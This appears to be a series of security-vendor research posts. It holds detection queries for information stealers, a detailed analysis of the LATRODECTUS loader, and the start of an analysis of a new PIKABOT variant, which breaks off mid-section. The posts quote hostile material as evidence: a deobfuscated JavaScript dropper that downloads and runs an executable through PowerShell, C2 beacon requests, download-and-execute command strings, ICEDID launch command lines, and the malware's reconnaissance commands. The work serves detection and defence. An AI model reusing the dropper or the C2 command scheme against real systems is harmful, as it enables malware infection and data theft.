To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate Elastic Defend and Windows.

• Connection to WebService by an Unsigned Binary
• Connection to WebService by a Signed Binary Proxy
• Suspicious DNS Query from Mounted Virtual Disk
• Suspicious Access to Web Browser Credential Stores
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Web Browser Credential Access via Unusual Process

ES|QL queries

The following list of hunts and detection queries can be used to detect stealers activities:

• Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.

  from logs-endpoint*
  | where (process.code_signature.trusted == false or process.code_signature.exists == false)
  | where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
                                  "discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
  | stats executable_count = count(*) by process.executable, process.name, dns.question.name
  | sort executable_count desc
  

• Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.

  from logs-endpoint.events.file-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action == "open" 
  and (
    file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
    or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
  )
  | keep process.executable, process.name, host.id, file.path, file.name
  | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
  | where number_hosts == 1 and unique_files >= 3
  | sort number_hosts desc
  

• Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.

  from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action in ("open", "modification")
  and (
    file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
  )
  | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
  | eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
  | eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
  | where number_hosts == 1
  | sort number_hosts desc
  

Yara rules

• Windows Trojan MetaStealer
• Windows Trojan Stealc
• Windows Trojan RedLineStealer
• Windows Trojan AgentTesla

Conclusion

In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.

Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.

First discovered by Walmart researchers in October of 2023, LATRODECTUS is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and ICEDID due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a strong link between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.

LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as PIKABOT, where the code is more lightweight and direct with a limited number of handlers.

This article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.

Key takeaways

• Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns
• LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads
• We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files
• Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS

LATRODECTUS campaign overview

Beginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.

With major changes in the loader space during the past year, such as the QBOT takedown and ICEDID dropping off, we are seeing new loaders such as PIKABOT and LATRODECTUS have emerged as possible replacements.

LATRODECTUS analysis

Our LATRODECTUS sample comes initially packed with file information masquerading as a component to Bitdefender’s kernel-mode driver (TRUFOS.SYS), shown in the following image.

In order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as UnpacMe.

LATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.

String obfuscation

All of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial report published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our nightMARE framework:

def decrypt_string(encrypted_bytes: bytes) -> bytes:
    x = cast.u32(encrypted_bytes[:4])
    y = cast.u16(encrypted_bytes[4:6])
    byte_size = cast.u16(cast.p32(x ^ y)[:2])
    decoded_bytes = bytearray(byte_size)

    for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
        decoded_bytes[i] = ((x + i + 1) ^ b) % 256

    return bytes(decoded_bytes)

Runtime API

LATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve kernel32.dll and ntdll.dll modules and their functions. In order to resolve additional libraries such as user32.dll or wininet.dll, the malware takes a different approach performing a wildcard search (*.dll) in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function.

Anti-analysis

When all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.

In order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version.

In order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.

The two previous conditions translate to:

• LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11
• LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2

After the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.

The last check is based on verifying the MAC address via the GetAdaptersInfo() call from iphlpapi.dll. If there is no valid MAC Address, the malware will also terminate.

Mutex

This malware uses the string runnung as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.

Hardware ID

After the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (0x19660D).

Campaign ID

At this stage, the decrypted campaign name (Littlehw) from our sample is used as a seed passed into a Fowler–Noll–Vo hashing function. This will produce a hash that is used by the actor to track different campaigns and associated victim machines.

Setup / persistence

The malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:

• AppData
• Desktop
• Startup
• Personal
• Local\AppData

Our sample was configured with the AppData location using a hard-coded directory string Custom_update along with a hardcoded filename Update_ concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:

C:\Users\REM\AppData\Roaming\Custom_update\Update_88d58563.dll

The malware will check for an existing file AppData\Roaming\Custom_update\update_data.dat to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.

After the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.

Before the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM).

In our sample, the task name is hardcoded as Updater and scheduled to execute upon successful logon.

Self-deletion

Self-deletion is one noteworthy technique incorporated by LATRODECTUS. It was discovered by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc repo. The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream.

Elastic Security Labs has seen this technique adopted in malware such as the ROOK ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a string (:wtfbbq) present in the repository.

This technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a CAPA rule to help other organizations identify this behavior generically when analyzing various malware.

Communication

LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of 12345. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.

POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache

M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O

Below is an example of the decrypted contents sent in the first request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-

Each request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (CLEARURL, URLS, COMMAND, ERROR).

The main event handlers are passed through the COMMAND object type with the handler ID and their respective argument.

COMMAND|12|http://www.meow123.com/test 

The CLEARURL object type is used to delete any configured domains. The URLS object type allows the attacker to swap to a new C2 URL. The last object type, ERROR, is not currently configured.

Bot Functionality

LATRODECTUS’s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial publication which may be a sign that the codebase is still active and changing.

Desktop listing - command ID (2)

This command handler will retrieve a list of the contents of the user’s desktop, which the developer refers to as desklinks. This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.

Example request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]

Process ancestry - command ID (3)

This event handler is referenced as proclist by the developer where it collects the entire running process ancestry from the infected machine via the CreateToolhelp32Snapshot API.

Like security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.

Collect system information - command ID (4)

This command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:

C:\Windows\System32\cmd.exe /c ipconfig /all
C:\Windows\System32\cmd.exe /c systeminfo
C:\Windows\System32\cmd.exe /c nltest /domain_trusts
C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
C:\Windows\System32\cmd.exe /c net view /all /domain
C:\Windows\System32\cmd.exe /c net view /all
C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain
C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\cmd.exe /c net config workstation
C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:\Windows\System32\cmd.exe /c whoami /groups

Each output is placed into URI with corresponding collected data:

&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=

Download and execute PE - command ID (12)

This handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.

Below is an example in our environment using this handler:

Download and execute DLL - command ID (13)

This command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.

Download and execute shellcode - command (14)

This command handler downloads shellcode from the C2 server via InternetReadFile, allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.

Update / restart - command ID (15)

This handler appears to perform a binary update to the malware where it’s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.

Terminate - command ID (17)

This handler will terminate the existing LATRODECTUS process.

Download and execute hosted ICEID payload - command ID (18)

This command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned rundll32.exe process. We haven’t personally observed this being used in-the-wild, however.

The handler creates a folder containing two files to the AppData\Roaming\ directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is:

C:\Users\REM\AppData\Roaming\-632116337

It retrieves a file (test.dll) from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (-456638727.dll).

LATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (1431684209.dat). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it’s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.

init -zzzz="-632116337\1431684209.dat"

LATRODECUS initiates a second download request using a hard-coded URI (/files/bp.dat) from the configured C2 server, which is written to a file (1431684209.dat). Analyzing the bp.dat file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as license.dat.

After decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers.

Our team was able to revisit prior tooling and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).

At this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.

These files are then executed together using rundll32.exe via CreateProcessW with their respective arguments. Below is the observed command-line:

rundll32.exe C:\Users\REM\AppData\Roaming\-632116337\-456638727.dll,init -zzzz="-632116337\1431684209.dat"

Scanning the rundll32.exe child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID.

Beacon timeout - command ID (19)

LATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.

In order to calculate the timeout, it generates a random number by seeding a combination of the user’s cursor position on the screen multiplied by the system’s uptime (GetTickCount). This result is passed as a parameter to RtlRandomEx.

Reset counter - command ID (20)

This command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.

counter=3&type=4&guid=638507385

LATRODECTUS / ICEDID connection

There definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:

• Same enumeration commands in the system discovery handler
• The DLL exports all point to same export function address, this was a common observation with ICEDID payloads
• C2 data is concatenated together as variables in the C2 traffic requests
• The bp.dat file downloaded from handler (#18) is used to execute the ICEDID payload via rundll32.exe
• The functions appear to be similarly coded

Researchers didn’t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the BackConnect module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS’ capabilities.

Sandboxing LATRODECTUS

To evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.

As an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:

COMMAND|13|http://www.meow123.com/dll, ShowMessage

The following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.

E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=

Using the following CyberChef recipe, analysts can generate encrypted command requests:

Using the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation.

Detecting LATRODECTUS

The following Elastic Defend protection features trigger during the LATRODECTUS malware infection process:

Below are the prebuilt MITRE ATT&CK-aligned rules with descriptions:

The following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:

Rundll32 Download PE/DLL (command handlers #12, #13 and #18):

sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and 
 /* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*"]
[network where process.name : "rundll32.exe" and 
   event.action : ("disconnect_received", "connection_attempted") and 
   /* network disconnect activity to a public Ip address */
   not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8", "192.168.0.0/16")]

Below is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon):

from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
 network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
 not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100

Below is a screenshot of Elastic Defend triggering on the LATRODECTUS memory signature:

YARA

Elastic Security has created YARA rules to identify LATRODECTUS:

rule Windows_Trojan_LATRODECTUS_841ff697 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-03-13"
        last_modified = "2024-04-05"
        license = "Elastic License v2"
         os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.LATRODECTUS"
        reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"


    strings:
        $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
        $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
        $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
        $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
        $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
        $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
        $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
        $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
    condition:
        2 of them
}

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
• https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

Tooling

String decryption and IDA commenting tool

PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.

This post will highlight the initial campaign, break down the new loader functionality, and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.

During the development of this research, the ThreatLabz team at Zscaler released great analysis and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.

Key takeaways

• Fresh campaigns involving significant updates to the PIKABOT loader and core components
• PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from .data section
• Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications
• PIKABOT development appears as a work-in-progress, with future updates likely imminent
• Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly

PIKABOT campaign overview

As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.

Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

PIKABOT loader

Loader stage 1

To appear authentic, the developer tampered with a legitimate search and replace tool called grepWinNP3.exe from this repository. Using our internal sandboxing project (Detonate) and leveraging Elastic Defend’s call stack feature provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.

An analysis of the call stack data reveals that execution begins at a call before offset 0x81aa7 within the malicious file; the execution then leaps to a memory allocation at a call prior to offset 0x25d84. Furthermore, it was observed that the process creation call stack is missing normal calls to KernelBase.dll!CreateProcessInternalW and ntdll.dll!NtCreateUserProcess, due to the use of a syscall via shellcode execution residing in the unbacked memory. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.

Looking into the offset 0x81aa7 of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the grepWinNP3.exe file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.

The malicious code employs heavy obfuscation, utilizing a technique where a jump (JMP) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.

The loader extracts its stage 2 payload from the .text section, where it is stored in chunks of 0x94 bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.

The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.

Loader stage 2

The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.

Anti-debugging

The malware utilizes specific NTDLL Zw APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.

It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a Zw API name as a parameter.

The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the Zw function name. After finding the correct syscall ID, it uses the Wow64Transition Windows API to execute the syscall in 64-bit mode.

Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a ZwQueryInformationProcess call with the ProcessInformationClass set to ProcessDebugPort(7):

The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:

• Calling ZwQuerySystemInformation with the SystemKernelDebuggerInformation parameter to detect the presence of kernel debuggers.
• Calling ZwQueryInformationProcess with the ProcessInformationClass set to ProcessDebugPort to identify any debugging ports associated with the process.
• Calling ZwQueryInformationProcess again, but with the ProcessInformationClass set to ProcessDebugFlags parameter, to ascertain if the process has been flagged for debugging.
• Inspecting the Process Environment Block (PEB) for the BeingDebugged flag, which indicates if the process is currently being debugged.
• Using GetThreadContext to detect hardware breakpoints. Scanning the list of currently running processes to identify any active debugging or forensic tools.

Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.

Execution

The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for Zw APIs.

Below is the reconstructed structure:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Loader structure

